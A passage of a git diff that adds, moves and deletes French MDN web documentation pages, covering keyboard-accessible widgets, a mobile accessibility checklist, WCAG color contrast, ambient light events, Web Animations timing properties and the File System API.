Pour chaque gestionnaire d'évènement lié à la souris, un évènement clavier correspondant est nécessaire. Par exemple, si vous avez onclick="faireQuelqueChose()" vous aurez aussi besoin de onkeydown="return event.keyCode != 13 || faireQuelqueChose();" afin de permettre à la touche Entrée d'activer cet élément.

+

Utilisation de try/catch pour éviter les erreurs JavaScript

+

Ce système n'est actuellement pas supporté par Opera, Safari et les versions anciennes de Mozilla (1.7 et précédentes). Comme certains navigateurs ne supportent pas les nouvelles possibilités comme la propriété tabIndex sur tous les éléments, utilisez try/catch aux endroits appropriés. Les contrôles doivent rester utilisables avec la souris sur les navigateurs ne supportant pas le système DHTML de navigation au clavier. Son support est déjà planifié pour Opera et Safari (via les spécifications du WHATWG).

+

Ne pas se baser sur un comportement cohérent de la répétition d'une touche, pour l'instant

+

Malheureusement, onkeydown peut ou non être répété suivant le système d'exploitation utilisé. Consultez le {{ Bug(91592) }} dans la base de données Bugzilla.

+

{{ languages( { "en": "en/Key-navigable_custom_DHTML_widgets", "ja": "ja/Key-navigable_custom_DHTML_widgets" } ) }}

diff --git a/files/fr/web/accessibility/mobile_accessibility_checklist/index.html b/files/fr/web/accessibility/mobile_accessibility_checklist/index.html new file mode 100644 index 0000000000..6e90ebca17 --- /dev/null +++ b/files/fr/web/accessibility/mobile_accessibility_checklist/index.html @@ -0,0 +1,89 @@ +--- +title: Check-list pour l'accessibilité mobile +slug: Accessibilité/Checklist_accessibilite_mobile +tags: + - Accessibility + - B2G + - Firefox OS + - Mobile + - checklist +translation_of: Web/Accessibility/Mobile_accessibility_checklist +--- +
+

Ce document fournit une liste concise des points à vérifier par les développeurs pour garantir l’accessibilité d’une application mobile. Ce document est amené à évoluer pour tenir compte de nouvelles bonnes pratiques.

+
+

Couleur

+
    +
  • Le contraste des couleurs DOIT respecter le niveau AA de WCAG 2.0 : +
      +
    • Un contraste dont le ratio est de 4.5:1 pour les textes normaux (dont la fonte est inférieure à 18 points ou 14 points en gras) ;
      • +
    • Un contraste dont le ratio est de 3:1 pour les grands textes (18 points minimum ou 14 points en gras).
      • +
    +
    • +
  • L’information véhiculée par la couleur DOIT toujours être disponible via un autre moyen (ex : les liens peuvent être bleus mais aussi soulignés, etc.).
    • +
+
+

Note :

+
    +
  • Sur Yoyo Design vous trouverez l’outil nColor de sélection des couleurs. Il vous permettra de simuler les différents types de visions daltoniennes ;
    • +
  • Jon Snook a écrit un outil intéressant permettant de vérifier le contraste des couleurs : Colour Contrast Checker (en) ;
    • +
  • Alternativement, le Tanaguru Contrast-Finder fait un travail similaire, mais il propose en plus une palette de couleurs similaires mais offrant un meilleur contraste.
    • +
+
+

La visibilité

+
    +
  • Les techniques de masquage du contenu comme une opacité nulle, l’ordre des z-index et la position hors-écran NE DOIVENT PAS être utilisées aux seules fins de visibilité ;
    • +
  • Tout ce qui n’apparaît pas dans la partie visible de l’écran DOIT réellement être invisible (en particulier pour les applications d’une page comportant plusieurs « cartes » ) : +
      +
    • Il FAUT utiliser l’attribut hidden ou les propriétés de style visibility ou display ;
      • +
    • À moins d’être absolument indispensable, l’attribut aria-hidden NE DOIT PAS être utilisé.
      • +
    +
    • +
+

Le focus

+
    +
  • Tous les éléments activables DOIVENT pouvoir porter le focus : +
      +
    • Les contrôles standards tels que les liens, les boutons et les champs de formulaire peuvent, par défaut, porter le focus ;
      • +
    • Les contrôles non standards DOIVENT être assignés à un rôle ARIA, comme button, link ou checkbox.
      • +
    +
    • +
  • Le focus doit être géré de façon logique et cohérente.
    • +
+

Les équivalents textuels

+
    +
  • Les équivalents textuels DOIVENT être fournis pour chacun des éléments de l’application qui n’est pas strictement lié à la mise en forme : +
      +
    • Les attributs alt et title doivent être utilisés aux endroits appropriés (lire l’article de Steve Faulkner sur L’utilisation de l’attribut HTML title (en)) ;
      • +
    • Si les attributs ci-dessus ne sont pas appliquables, on utilise les propriétés ARIA appropriées comme aria-label, aria-labelledby et aria-describedby.
      • +
    +
    • +
  • Les images avec du texte DOIVENT être évitées ;
    • +
  • Tous les contrôles de formulaire DOIVENT posséder des éléments {{ htmlelement("label") }} pour permettre aux lecteurs d’écran de les utiliser.
    • +
+

La gestion des états

+
    +
  • Les contrôles standards comme les boutons radio, les cases à cocher, sont gérés par le système d’exploitation. En revanche, pour les contrôles spécifiques, les changements d’états doivent être fournis via les états ARIA tels que aria-checked, aria-disabled, aria-selected, aria-expanded et aria-pressed.
    • +
+

Principales recommandations

+
    +
  • Un titre DOIT être fourni pour désigner l’application ;
    • +
  • Les titres DOIVENT respecter une structure hiérarchique : + 
    <h1>Titre de premier niveau</h1>
+  <h2>Titre de deuxième niveau</h2>
+  <h2>Un autre titre de niveau 2</h2>
+    <h3>Un titre inférieur</h3>
    +
    • +
  • Les points de repères ARIA DOIVENT être utilisés pour décrire une application ou la structure d’un document comme banner, complementary, contentinfo, main, navigation, search ;
    • +
  • Les gestionnaires d’événements tactiles NE DOIVENT PAS être déclenchés avant l’événement touchend ;
    • +
  • Les points d’interaction tactiles DOIVENT être suffisamment grands pour garantir une bonne interaction (voir les recommandations de la BBC sur l’accessibilité mobile (en) sur ce sujet).
    • +
+ +
+

Note : Le service de test automatique d'accessibilité de Tanaguru fournit un moyen pratique de corriger les erreurs d'accessibilité pouvant se glisser dans une page Web, ou d'une application Web locale (par exemple Firefox OS). Vous trouverez plus d'informations concernant l'implémentation technique de Tanaguru, et comment contribuer au projet, sur tanaguru.org.

+
+ +
+

Note : la version originale, anglaise, de ce document a été écrite par Yura Zenevich.

+
+

 

diff --git a/files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html b/files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html new file mode 100644 index 0000000000..497a2675f7 --- /dev/null +++ b/files/fr/web/accessibility/understanding_wcag/perceivable/color_contrast/index.html @@ -0,0 +1,162 @@ +--- +title: Contraste de la couleur +slug: Web/Accessibility/Understanding_WCAG/Perceivable/Contraste_de_la_couleur +tags: + - Accessibilité + - WCAG + - contraste +translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast +--- +

Le contraste de la couleur entre l'arrière-plan et le contenu de premier-plan (qui est en général du texte) doit être assez prononcé pour assurer la lisibilité.

+ +

Lors de la conception d'interfaces lisibles pour différentes capacités de vision, les directives WCAG recommandent les rapports de contraste suivants:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Type de contenuRatio minimum (Note AA)Ratio amélioré (Note AAA)
Corps4.5 : 17 : 1
Texte grande échelle (120-150% plus large que le corps)3 : 14.5 : 1
Composants d'interface utilisateur actifs et objets graphiques tels que des icônes et des graphiques3 : 1Non défini
+ +

Ces ratios ne s'appliquent pas au texte "accessoire", comme les contrôles inactifs, les logotypes ou le texte purement décoratif.

+ +

Voir la section {{anch("Solution")}} ci-dessous pour plus d'informations.

+ +

Un bon contraste des couleurs sur votre site profite à tous vos utilisateurs, mais celà est particulièrement intéressant pour les utilisateurs souffrant de certains types de daltonisme et d'autres particularités similaires, qui rencontrent un faible contraste et ont du mal à faire la différence entre des couleurs proches. En effet, ces utilisateurs ne voient pas les zones claires et sombres aussi facilement que ceux sans ces particularités et ont donc du mal à voir les bords, les bordures et d'autres détails.

+ +

C'est bien d'avoir un design cool sur votre site, mais le design ne vaut rien si vos utilisateurs ne peuvent pas lire votre contenu.

+ +

Exemples

+ +

Jetons un coup d'œil à du code HTML et CSS assez simple:

+ +
<div class="bon">Bon contraste</div>
+<div class="mauvais">Mauvais contraste</div>
+ +
div {
+  /* Styles généraux de div ici */
+}
+
+.bon {
+  background-color: #fae6fa;
+}
+
+.mauvais {
+  background-color: #400064;
+}
+ +

Les deux textes ont leur couleur noire par défaut. La "bonne" <div> a un fond violet clair, ce qui rend le texte facile à lire:

+ + + +

{{EmbedLiveSample('exemple1', '100%', '100')}}

+ +

La "mauvaise" <div>, en revanche, a un fond violet très foncé, ce qui rend le texte beaucoup plus difficile à lire:

+ + + +

{{EmbedLiveSample('exemple2', '100%', '100')}}

+ +
+
+ +

Solution

+ +

Lorsque vous choisissez un jeu de couleurs pour votre site Web, choisissez des couleurs de premier plan et d'arrière-plan qui offrent un bon contraste. Faites en sorte que le contraste des couleurs soit aussi bon que possible dans vos contraintes de conception - optez idéalement pour la note AAA (voir paragraphe 1.4.6 ci-dessous), mais répondez au moins à la note AA (voir paragraphe 1.4.3 ci-dessous).

+ +

Si vous incluez du contenu non textuel tel qu'une vidéo ou une animation, vous devrez suivre le paragraphe 1.4.11 (encore une fois, voir ci-dessous).

+ +

Pour vérifier votre contraste lorsque vous effectuez un choix de couleurs, vous pouvez utiliser le Vérificateur de Contraste des Couleurs de WebAIM.

+ +

Vous pouvez également vérifier le contraste des couleurs directement via les outils de développement de Firefox — consultez notre guide de l'Inspecteur de l'accessibilité, et en particulier la section Vérifier les problèmes d'accessibilité. Essayez de les utiliser sur les exemples dans la section de description.

+ +

Critères de réussite associés aux WCAG

+ +
+
1.4.3 Contraste minimum (AA)
+
Le contraste des couleurs entre le contenu d'arrière-plan et de premier plan doit être au minimum pour garantir la lisibilité: +
    +
  • Le texte et son arrière-plan doivent avoir un ratio de contraste d'au moins 4.5:1.
    • +
  • Le texte d'en-tête (ou juste "plus grand") doit avoir un ratio d'au moins 3:1. Le texte "plus grand" est défini comme au moins 18pt, ou 14pt en gras.
    • +
+
+
1.4.6 Contraste amélioré (AAA)
+
Cela suit et s'appuie sur le critère 1.4.3. +
    +
  • Le texte et son arrière-plan doivent avoir un ratio de contraste d'au moins 7:1.
    • +
  • Le texte d'en-tête (ou juste "plus grand") doit avoir un ratio d'au moins 4.5:1.
    • +
+
+
1.4.11 Contraste non textuel (AA) (ajouté en 2.1)
+
Il doit y avoir un ratio de contraste de couleur minimum de 3 à 1 pour les composants de l'interface utilisateur et les objets graphiques.
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/accessibility/understanding_wcag/perceivable/contraste_de_la_couleur/index.html b/files/fr/web/accessibility/understanding_wcag/perceivable/contraste_de_la_couleur/index.html deleted file mode 100644 index 497a2675f7..0000000000 --- a/files/fr/web/accessibility/understanding_wcag/perceivable/contraste_de_la_couleur/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Contraste de la couleur -slug: Web/Accessibility/Understanding_WCAG/Perceivable/Contraste_de_la_couleur -tags: - - Accessibilité - - WCAG - - contraste -translation_of: Web/Accessibility/Understanding_WCAG/Perceivable/Color_contrast ---- -

Le contraste de la couleur entre l'arrière-plan et le contenu de premier-plan (qui est en général du texte) doit être assez prononcé pour assurer la lisibilité.

- -

Lors de la conception d'interfaces lisibles pour différentes capacités de vision, les directives WCAG recommandent les rapports de contraste suivants:

- - - - - - - - - - - - - - - - - - - - - - - - - - -
Type de contenuRatio minimum (Note AA)Ratio amélioré (Note AAA)
Corps4.5 : 17 : 1
Texte grande échelle (120-150% plus large que le corps)3 : 14.5 : 1
Composants d'interface utilisateur actifs et objets graphiques tels que des icônes et des graphiques3 : 1Non défini
- -

Ces ratios ne s'appliquent pas au texte "accessoire", comme les contrôles inactifs, les logotypes ou le texte purement décoratif.

- -

Voir la section {{anch("Solution")}} ci-dessous pour plus d'informations.

- -

Un bon contraste des couleurs sur votre site profite à tous vos utilisateurs, mais celà est particulièrement intéressant pour les utilisateurs souffrant de certains types de daltonisme et d'autres particularités similaires, qui rencontrent un faible contraste et ont du mal à faire la différence entre des couleurs proches. En effet, ces utilisateurs ne voient pas les zones claires et sombres aussi facilement que ceux sans ces particularités et ont donc du mal à voir les bords, les bordures et d'autres détails.

- -

C'est bien d'avoir un design cool sur votre site, mais le design ne vaut rien si vos utilisateurs ne peuvent pas lire votre contenu.

- -

Exemples

- -

Jetons un coup d'œil à du code HTML et CSS assez simple:

- -
<div class="bon">Bon contraste</div>
-<div class="mauvais">Mauvais contraste</div>
- -
div {
-  /* Styles généraux de div ici */
-}
-
-.bon {
-  background-color: #fae6fa;
-}
-
-.mauvais {
-  background-color: #400064;
-}
- -

Les deux textes ont leur couleur noire par défaut. La "bonne" <div> a un fond violet clair, ce qui rend le texte facile à lire:

- - - -

{{EmbedLiveSample('exemple1', '100%', '100')}}

- -

La "mauvaise" <div>, en revanche, a un fond violet très foncé, ce qui rend le texte beaucoup plus difficile à lire:

- - - -

{{EmbedLiveSample('exemple2', '100%', '100')}}

- -
-
- -

Solution

- -

Lorsque vous choisissez un jeu de couleurs pour votre site Web, choisissez des couleurs de premier plan et d'arrière-plan qui offrent un bon contraste. Faites en sorte que le contraste des couleurs soit aussi bon que possible dans vos contraintes de conception - optez idéalement pour la note AAA (voir paragraphe 1.4.6 ci-dessous), mais répondez au moins à la note AA (voir paragraphe 1.4.3 ci-dessous).

- -

Si vous incluez du contenu non textuel tel qu'une vidéo ou une animation, vous devrez suivre le paragraphe 1.4.11 (encore une fois, voir ci-dessous).

- -

Pour vérifier votre contraste lorsque vous effectuez un choix de couleurs, vous pouvez utiliser le Vérificateur de Contraste des Couleurs de WebAIM.

- -

Vous pouvez également vérifier le contraste des couleurs directement via les outils de développement de Firefox — consultez notre guide de l'Inspecteur de l'accessibilité, et en particulier la section Vérifier les problèmes d'accessibilité. Essayez de les utiliser sur les exemples dans la section de description.

- -

Critères de réussite associés aux WCAG

- -
-
1.4.3 Contraste minimum (AA)
-
Le contraste des couleurs entre le contenu d'arrière-plan et de premier plan doit être au minimum pour garantir la lisibilité: -
    -
  • Le texte et son arrière-plan doivent avoir un ratio de contraste d'au moins 4.5:1.
    • -
  • Le texte d'en-tête (ou juste "plus grand") doit avoir un ratio d'au moins 3:1. Le texte "plus grand" est défini comme au moins 18pt, ou 14pt en gras.
    • -
-
-
1.4.6 Contraste amélioré (AAA)
-
Cela suit et s'appuie sur le critère 1.4.3. -
    -
  • Le texte et son arrière-plan doivent avoir un ratio de contraste d'au moins 7:1.
    • -
  • Le texte d'en-tête (ou juste "plus grand") doit avoir un ratio d'au moins 4.5:1.
    • -
-
-
1.4.11 Contraste non textuel (AA) (ajouté en 2.1)
-
Il doit y avoir un ratio de contraste de couleur minimum de 3 à 1 pour les composants de l'interface utilisateur et les objets graphiques.
-
- -

Voir aussi

- - diff --git a/files/fr/web/api/ambient_light_events/index.html b/files/fr/web/api/ambient_light_events/index.html new file mode 100644 index 0000000000..4f30f285d0 --- /dev/null +++ b/files/fr/web/api/ambient_light_events/index.html @@ -0,0 +1,98 @@ +--- +title: Utiliser les événements de luminosité +slug: WebAPI/Utiliser_les_événéments_de_luminosité +tags: + - WebAPI +translation_of: Web/API/Ambient_Light_Events +--- +

{{SeeCompatTable }}

+

Résumé

+

Les événements concernant la lumière environnante permettent à une application de percevoir simplement les changements de luminosité dans l'environnement de l'appareil. L'application peut donc ainsi réagir aux changements de luminosité : par exemple changer le contraste de l'interface ou changer l'exposition lors de la prise d'une photo.

+

Les événements liés à la lumière

+

Lorsque le capteur de lumière détecte un changement de luminosité, il envoie une notification au navigateur. Lorsque le navigateur reçoit une notification, il déclenche un événement {{domxref("DeviceLightEvent")}} qui fournit des informations sur la valeur exacte de l'intensité lumineuse.

+

Cet événement peut être capturé au niveau de l'objet window en utilisant la méthode {{domxref("EventTarget.addEventListener","addEventListener")}} (en utilisant le nom d'événement {{event("devicelight")}}) ou en attachant le gestionnaire d'événément à la propriété {{domxref("window.ondevicelight")}}.

+

Une fois qu'il a été capturé, l'événement permet un accès à la valeur de l'intensité lumineuse, exprimée en lux avec la propriété {{domxref("DeviceLightEvent.value")}}.

+

Exemple

+
window.addEventListener('devicelight', function(event) {
+  var html = document.getElementsByTagName('html')[0];
+
+  if (event.value < 50) {
+    html.classList.add('darklight');
+    html.classList.remove('brightlight');
+  } else {
+    html.classList.add('brightlight');
+    html.classList.remove('darklight');
+  }
+});
+

Spécifications

+ + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}Spécification initiale
+

Compatibilité des navigateurs

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
{{domxref("DeviceLightEvent")}}{{CompatNo()}}{{CompatGeckoDesktop("22.0")}} (Mac OS X seulement){{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
+
+
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
{{domxref("DeviceLightEvent")}}{{CompatNo()}}{{CompatNo()}}{{CompatGeckoMobile("15.0")}}{{CompatNo()}}{{CompatNo()}}{{CompatNo()}}
+
+

Notes relatives à Gecko

+

L'événement {{event("devicelight")}} est implémenté et activé par défaut via un paramètre dans Firefox Mobile pour Android (15.0) et dans Firefox OS (B2G). Une implémentation pour un navigateur de bureau sur Mac OS X est également disponible à partir de Gecko 22.0 {{geckoRelease("22.0")}}. Le support pour Windows 7 est en cours de progression (voir {{bug(754199)}}).

+

Voir aussi

+
    +
  • {{domxref("DeviceLightEvent")}}
    • +
  • {{event("devicelight")}}
    • +
diff --git a/files/fr/web/api/animationeffecttimingproperties/delay/index.html b/files/fr/web/api/animationeffecttimingproperties/delay/index.html deleted file mode 100644 index bb8c8d9e56..0000000000 --- a/files/fr/web/api/animationeffecttimingproperties/delay/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: Delay -slug: Web/API/AnimationEffectTimingProperties/delay -tags: - - API - - Animation - - AnimationEffectTimingProperties - - Experimental - - Propriété - - Reference -translation_of: Web/API/EffectTiming/delay ---- -
{{SeeCompatTable}}{{APIRef("Web Animations")}}
- -

La propriété delay est un dictionnaire pour {{domxref("AnimationEffectTimingProperties")}} qui représente le nombre de millisecondes à attendre avant de démarrer une animation.

- -
-

Note : {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} acceptent toutes un objet avec des propriétés de minutage, y compris delay. La valeur de delay correspond directement à {{domxref("AnimationEffectTimingReadOnly.delay")}} dans les objets  {{domxref("AnimationEffectReadOnly.timing")}} renvoyés par {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}.

-
- -

Syntaxe

- -
var timingProperties = {
-  delay: delayInMilliseconds
-};
-
-timingProperties.delay = delayInMilliseconds;
-
- -

Valeur

- -

Un nombre qui indique la durée qui doit s'écouler entre le début du cycle de l'animation et le début de l'intervalle d'activité (c'est-à-dire le moment où l'animation commence réellement). La valeur par défaut est 0.

- -

Exemples

- -

Dans l'exemple Pool of Tears, chaque larme commence à un instant aléatoire grâce à l'objet de minutage :

- -
// Générateur de valeurs plus
-// ou moins aléatoires
-var getRandomMsRange = function(min, max) {
-  return Math.random() * (max - min) + min;
-}
-
-// On parcourt l'ensemble des larmes
-tears.forEach(function(el) {
-
-  // On anime chacune des larmes
-  el.animate(
-    tearsFalling,
-    {
-      delay: getRandomMsRange(-1000, 1000), // aléatoire pour chaque larme
-      duration: getRandomMsRange(2000, 6000), // aléatoire pour chaque larme
-      iterations: Infinity,
-      easing: "cubic-bezier(0.6, 0.04, 0.98, 0.335)"
-    });
-});
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Web Animations', '#start-delay', 'delay')}}{{Spec2('Web Animations')}}Brouillon d'édiiton.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support simple{{CompatVersionUnknown}}{{CompatGeckoDesktop(45)}}[1]{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidWebview AndroidChrome pour AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Support simple{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(45)}}[1]{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
-
- -

[1] L'API Web Animations est uniquement activée par défaut pour les canaux Nightly et Developer Edition. Elle peut être activée dans les autres versions avec la préférence dom.animations-api.core.enabled.

- -

Voir aussi

- -
    -
  • L'API Web Animations
    • -
  • {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}, et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} qui acceptent toutes un objet de minutage, y compris celui-ci (delay)
    • -
  • La valeur de cette propriété correspond à celle de {{domxref("AnimationEffectTimingReadOnly")}} (qui est l'objet de minutage {{domxref("AnimationEffectReadOnly.timing", "timing")}} pour {{domxref("AnimationEffectReadOnly")}}, {{domxref("KeyframeEffectReadOnly")}} et {{domxref("KeyframeEffect")}}).
    • -
  • Les propriétés CSS {{cssxref("transition-delay")}} et {{cssxref("animation-delay")}}
    • -
diff --git a/files/fr/web/api/animationeffecttimingproperties/index.html b/files/fr/web/api/animationeffecttimingproperties/index.html deleted file mode 100644 index cc984622c9..0000000000 --- a/files/fr/web/api/animationeffecttimingproperties/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Animation Effect Timing Properties -slug: Web/API/AnimationEffectTimingProperties -tags: - - API - - Animation - - AnimationEffectTimingProperties - - Dictionnaire - - Experimental - - Interface - - Reference -translation_of: Web/API/EffectTiming ---- -
{{SeeCompatTable}}{{APIRef("Web Animations")}}
- -

Le dictionnaire AnimationEffectTimingProperties est utilisé par les méthodes {{domxref("Element.animate()")}}, {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}} et {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}} afin de décrire les propriétés temporelles pour les effets d'animation. L'ensemble de ces propriétés sont optionnelles mais si duration n'est pas paramétrée, l'animation ne sera pas lancée.

- -

Ces propriétés décrivent la façon dont l'agent utilisateur applique l'animation entre chaque étape (keyframe) et comment elle se comporte au début et à la fin.

- -

Propriétés

- -
-
{{domxref("AnimationEffectTimingProperties.delay", "delay")}} {{optional_inline}}
-
Le nombre de millisecondes à attendre avant de démarrer l'animation. La valeur par défaut est 0.
-
{{domxref("AnimationEffectTimingProperties.direction", "direction")}} {{optional_inline}}
-
Indique si l'animation se déroule dans le sens the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse). Defaults to "normal".
-
{{domxref("AnimationEffectTimingProperties.duration", "duration")}} {{optional_inline}}
-
La durée d'une itération, exprimée en millisecondes. La valeur par défaut est 0. Bien que cette propriété soit optionnelle, il faut garder à l'esprit que l'animation ne sera pas lancée si la valeur est 0.
-
{{domxref("AnimationEffectTimingProperties.easing", "easing")}} {{optional_inline}}
-
La courbe de progression de l'animation au cours du temps. Cette propriété accepte des valeurs pré-paramétrées comme "linear", "ease", "ease-in", "ease-out" et "ease-in-out" ou une fonction "cubic-bezier" de la forme "cubic-bezier(0.42, 0, 0.58, 1)". La valeur par défaut est "linear".
-
{{domxref("AnimationEffectTimingProperties.endDelay", "endDelay")}} {{optional_inline}}
-
Le nombre de millisecondes à attendre après la fin de l'animation. Cette propriété est principalement utilisée lorsqu'on enchaîne une animation à la suite d'une autre. La valeur par défaut est 0.
-
{{domxref("AnimationEffectTimingProperties.fill", "fill")}} {{optional_inline}}
-
Indique si les effets de l'animation doivent s'appliqués sur l'élément avant d'être lancée ("backwards"), être conservés après la fin de l'animation ("forwards") ou les deux both. La valeur par défaut est "none".
-
{{domxref("AnimationEffectTimingProperties.iterationStart", "iterationStart")}} {{optional_inline}}
-
Décrit le point de départ de l'animation par rapport à une itération. Une valeur de 0.5 indique que l'animation démarre au milieu de la première animation (dans ce cas, après deux itérations, l'animation sera arrivée à la moitié de la troisième itération). La valeur par défaut est 0.0.
-
{{domxref("AnimationEffectTimingProperties.iterations", "iterations")}} {{optional_inline}}
-
Le nombre de fois que l'animation doit être répétée. La valeur par défaut est 1. Il est possible d'utiliser la valeur {{jsxref("Infinity")}} pour répéter l'animation aussi longtemps que l'élément existe.
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('Web Animations', '#the-animationeffecttimingproperties-dictionary', 'AnimationEffectTimingProperties' )}}{{Spec2('Web Animations')}}Définition initiale.
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Support simple{{CompatUnknown}}{{CompatGeckoDesktop(45)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidWebview AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari MobileChrome pour Android
Support simple{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(45)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] The Web Animations API is only enabled by default in Firefox Developer Edition and Nightly builds. You can enable it in beta and release builds by setting the preference dom.animations-api.core.enabled to true, and can disable it in any Firefox version by setting this preference to false.

- -

Voir aussi

- -
    -
  • L'API Web Animations
    • -
  • Utiliser l'API Web Animations
    • -
  • {{domxref("Element.animate()")}}
    • -
  • {{domxref("KeyframeEffect.KeyframeEffect", "KeyframeEffect()")}}
    • -
  • {{domxref("KeyframeEffectReadOnly.KeyframeEffectReadOnly", "KeyframeEffectReadOnly()")}}
    • -
diff --git a/files/fr/web/api/api_fichier_systeme/index.html b/files/fr/web/api/api_fichier_systeme/index.html deleted file mode 100644 index 8cef71b2fa..0000000000 --- a/files/fr/web/api/api_fichier_systeme/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: API fichier système -slug: Web/API/API_fichier_systeme -translation_of: Web/API/File_and_Directory_Entries_API ---- -

{{DefaultAPISidebar("API fichier système")}}{{Non-standard_header()}}

- -

L'API fichier système simule un fichier système en local que les applications web peuvent utiliser. Vous pouvez développer des applications qui lisent, écrivent, et créent des fichiers et/ou des dossiers dans un espace virtuel.

- -

Deux API très simulaires existent en fonction du comportement asynchrone ou synchrone souhaité. L'API synchrone est prévu pour être utilisée dans un {{domxref("Worker")}} et retournera les valeurs recherchées. The asynchronous API will not block and functions and the API will not return values; instead, you will need to supply a callback function to handle the response whenever it arrives.

- -

API asynchrone

- -

L'API asynchrone a les interfaces suivantes :

- -
    -
  • LocalFileSystem a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystem() et resolveLocalFileSystemURL().  Les méthodes sont implémentées par l'objet window et le worker global scope.
    • -
  • FileSystem représente un fichier système. L'objet est la passerelle à votre API toute entière.
    • -
  • Entry représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier.
    • -
  • DirectoryEntry représente un dossier dans un fichier système.
    • -
  • DirectoryReader vous permet la lecture de fichiers et dossiers à partir d'un dossier.
    • -
  • FileEntry représente un fichier dans un fichier système.
    • -
  • FileError est une erreur que vous pourriez rencontrer pendant l'utilisation des méthodes asynchrones.
    • -
- -

API synchrone

- -

L'API synchrone est utile avec les WebWorkers. Contrairement à l'API asynchrone, l'API synchrone n'utilise pas les callbacks parce que les méthodes de l'API retournent des valeurs.

- -
    -
  • LocalFileSystemSync a deux méthodes globales qui vous permet d'avoir accès à un espace virtuel : requestFileSystemSync() et resolveLocalFileSystemSyncURL(). Les méthodes sont implémentées par l'objet worker.
    • -
  • FileSystemSync représente un fichier système.
    • -
  • EntrySync représente une entrée dans un fichier système. L'entrée peut être un fichier ou un dossier.
    • -
  • DirectoryEntrySync représente un dossier dans un fichier système.
    • -
  • DirectoryReaderSync  vous permet la lecture de fichiers et dossiers à partir d'un dossier.
    • -
  • FileEntrySync représente un fichier dans un fichier système.
    • -
  • FileException est une erreur que vous pourriez rencontrer pendant l'utilisation des méthodes synchrones.
    • -
- -

Compatibilité navigateur

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
API asynchrone13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
API synchrone13 {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
API asynchrone{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
API synchrone{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
-
- -

Voir aussi

- -
    -
  • Particularité : {{ spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "File API: Directories and System Specification", "NOTE") }}
    • -
  • Commentaire Mozilla : Why no FileSystem API in Firefox?
    • -
